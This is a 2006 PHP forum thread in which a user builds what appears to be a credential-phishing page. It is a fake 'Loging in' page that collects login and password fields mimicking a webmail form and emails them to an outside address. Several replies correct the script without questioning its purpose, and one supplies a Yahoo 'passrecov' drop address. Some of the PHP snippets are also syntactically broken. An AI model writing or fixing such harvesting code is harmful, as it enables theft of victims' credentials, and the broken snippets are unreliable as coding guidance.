Jump to content


Photo

Im a New User Desperate For Help


  • Please log in to reply
13 replies to this topic

#1 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 19 July 2006 - 04:37 PM

Ok heres the deal.  I need to get input data using method post so i can view the data later. basically i need a php script to route the data in post to like an email address, or something. This is really important to me if any onw can help it would be greatly appericated.

#2 Joe Haley

Joe Haley
  • Members
  • PipPipPip
  • Advanced Member
  • 103 posts
  • LocationCanada, eh?

Posted 19 July 2006 - 04:42 PM

<?php
$message = "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('someone@somewhere.com', 'subject', $message);
?>
Give a man a fish; you have fed him for today.  Teach a man to fish; and you have fed him for a lifetime
Don't teach men to program. Teach them to fish.

Please, try the RTFM solution before asking for help:
http://php.net/manual/en/index.php

#3 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 19 July 2006 - 05:36 PM

thanks so would i do something like:

ction=getinfo.php method=post  autocomplete="off" onsubmit="set()">
      <SCRIPT language=javascript>
where getinfo.php wis where i would put the script you just gave me?



#4 Joe Haley

Joe Haley
  • Members
  • PipPipPip
  • Advanced Member
  • 103 posts
  • LocationCanada, eh?

Posted 19 July 2006 - 05:40 PM

Yes. But this script is heavily explotable by spammers. Beware.
(it gets 100* more complex to make it secure.)
Give a man a fish; you have fed him for today.  Teach a man to fish; and you have fed him for a lifetime
Don't teach men to program. Teach them to fish.

Please, try the RTFM solution before asking for help:
http://php.net/manual/en/index.php

#5 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 19 July 2006 - 08:59 PM

if ur still online i typed this up:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Login Info</title>

</head>

<body>
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('account@mail.com', 'Email Info', $message);
?>

</body>
</html>

But it didnt work.


#6 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 19 July 2006 - 09:09 PM

<form method="post" action=getinfo2.php
autocomplete="off" name="login_form" onsubmit="set()">

and added whats above on the main page with the login

#7 Joe Haley

Joe Haley
  • Members
  • PipPipPip
  • Advanced Member
  • 103 posts
  • LocationCanada, eh?

Posted 19 July 2006 - 09:28 PM

<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
?>

should be
<?php
$message = "login: {$_POST['login']} \n";
$message .= "passwd": {$_POST['passwd']} \n";
$message .= ".tries: {$_POST['.tries']} \n";
$message .= "Forum element name: {$_POST['forum_element_name']} \n";
?>

The additional quotes will screw up the parser if not escaped with a backslash.
And silly me, i forgot semicolons after the variable assignments!
Give a man a fish; you have fed him for today.  Teach a man to fish; and you have fed him for a lifetime
Don't teach men to program. Teach them to fish.

Please, try the RTFM solution before asking for help:
http://php.net/manual/en/index.php

#8 Ninjakreborn

Ninjakreborn
  • Members
  • PipPipPip
  • Information Technology Specialist
  • 3,922 posts
  • Age:33

Posted 19 July 2006 - 09:47 PM

Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.
Here have a form
<form name="infogatherer" action="processor.php" method="post">
Have as many input fields here as you want.
</form>
Then say you have 3 info fields, just stick them in an email
$message = "
Username: {$_POST[username]}
Password: {$_POST[password]}
Information: {$_POST[information]}
mail("email@domain.com", "This is my data", $message);
You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails.  THen you might have some problems, as long as nothing is going into a database you should be fine.

------

Business Website: http://www.infotechnologist.biz

Personal Website: http://www.joyelpuryear.com

Blog Site: http://www.realmofwriting.com
Services: Web development, application development, mobile development, and custom development. All services listed on my website.


#9 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 20 July 2006 - 09:51 PM

So is this good or what??? : ???


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Loging in</title>

</head>

<body>
<p> Loading...... Please Wait </p>
<?php
$message = "
login: {$_POST[login]}
passwd: {$_POST[passwd]}
yreglgtb: {$_POST[yreglgtb]}
mail("email@domain.com", "This is my data", $message);
//ext
?>

</body>
</html>


#10 trq

trq
  • Staff Alumni
  • Advanced Member
  • 31,041 posts

Posted 20 July 2006 - 09:56 PM

So is this good or what???

How should we know..? Does it work?

#11 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 20 July 2006 - 10:38 PM

No.... it wont send it to the email address shown

#12 trq

trq
  • Staff Alumni
  • Advanced Member
  • 31,041 posts

Posted 20 July 2006 - 10:42 PM

$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("servprt3_passrecov@yahoo.com", "This is my data", $message);


#13 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 20 July 2006 - 11:06 PM

I put this in notepad just as it is:

<?php
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("mail@domain.com", "This is my data", $message);
//ext
?>

then i put this in my site:

<form method="post" action=getinfo.php
autocomplete="off" name="login_form" >

now... i know nothin about php. Should this work cause it aint.


#14 timgetback

timgetback
  • Members
  • PipPipPip
  • Advanced Member
  • 39 posts

Posted 22 July 2006 - 11:04 PM

anyone??




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users